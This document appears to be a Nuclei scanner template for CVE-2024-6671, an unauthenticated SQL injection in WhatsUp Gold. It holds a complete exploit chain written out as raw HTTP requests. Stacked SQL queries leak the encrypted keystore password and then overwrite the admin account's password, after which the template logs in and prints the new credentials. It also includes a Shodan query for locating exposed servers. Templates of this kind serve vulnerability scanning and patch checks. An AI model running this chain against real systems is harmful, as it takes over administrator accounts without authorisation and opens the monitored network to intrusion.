漏洞描述
In WhatsUp Gold versions released before 2024.0.0, if the application is configured with only a single user, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.
id: CVE-2024-6671
info:
name: WhatsUp Gold GetStatisticalMonitorList SQL Injection - Authentication Bypass
author: daffainfo,jjcho
severity: critical
description: |
In WhatsUp Gold versions released before 2024.0.0, if the application is configured with only a single user, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.
impact: |
Unauthenticated attackers can exploit SQL injection to retrieve encrypted user passwords, modify admin credentials, and achieve authentication bypass for full system access.
remediation: |
Update WhatsUp Gold to version 2024.0.0 or later to address the SQL injection vulnerability.
reference:
- https://www.zerodayinitiative.com/advisories/ZDI-24-1186/
- https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024
- https://www.progress.com/network-monitoring
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-6671
cwe-id: CWE-89
epss-score: 0.05799
epss-percentile: 0.90337
cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
shodan-query: title:"WhatsUp Gold" http.favicon.hash:-2107233094
product: whatsup_gold
vendor: progress
tags: cve,cve2024,whatsup-gold,auth-bypass,sqli,intrusive,vkev,vuln
flow: |
http(1);
http(2);
http(3);
encryptedPassword = template.encryptedPassword
const cleanedInput = encryptedPassword.replace('psyduck', '').match(/\d+/g);
const hexValues = cleanedInput.map(value => {
const num = parseInt(value);
return isNaN(num) ? '00' : num.toString(16).padStart(2, '0');
});
const hexString = hexValues.join('');
const varbinaryString = '0x' + hexString;
set("encryptedPassword", varbinaryString);
http(4) && http(5);
variables:
username: "admin"
password: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"KeyStorePassword": "{{password}}", "TrustStorePassword": "{{password}}"}
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(set_cookie, 'ASP.NET_SessionId=')
condition: and
internal: true
- raw:
- |
POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"deviceId":"1234","statisticalMonitorTable":"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache","includeDisabledMonitors":"true","statisticalIdentificationId":"1"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, 'application/json')
- contains(body, '[]')
condition: and
internal: true
- raw:
- |
GET /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, 'DisplayName')
condition: and
internal: true
extractors:
- type: regex
internal: true
name: encryptedPassword
regex:
- '"psyduck\d+(,\d+)*"'
- raw:
- |
POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"deviceId":"1234","statisticalMonitorTable":"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache","includeDisabledMonitors":"true","statisticalIdentificationId":"1"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, 'application/json')
- contains(body, '[]')
condition: and
internal: true
- raw:
- |
POST /NmConsole/User/LoginAjax HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&rememberMe=false
matchers:
- type: word
part: body
words:
- '"authenticated":true'
- '"username":"'
condition: and
extractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'
# digest: 4a0a004730450220039210782091bc16121cf89566ff6ea99be8274334cacce1da92f1f6e3f73ec6022100dc96d2e37669a95c0d59f2da50667001cd7db0a3edf5078ad3af5bfec9e38f88:922c64590222798bb761d5b6d8e72950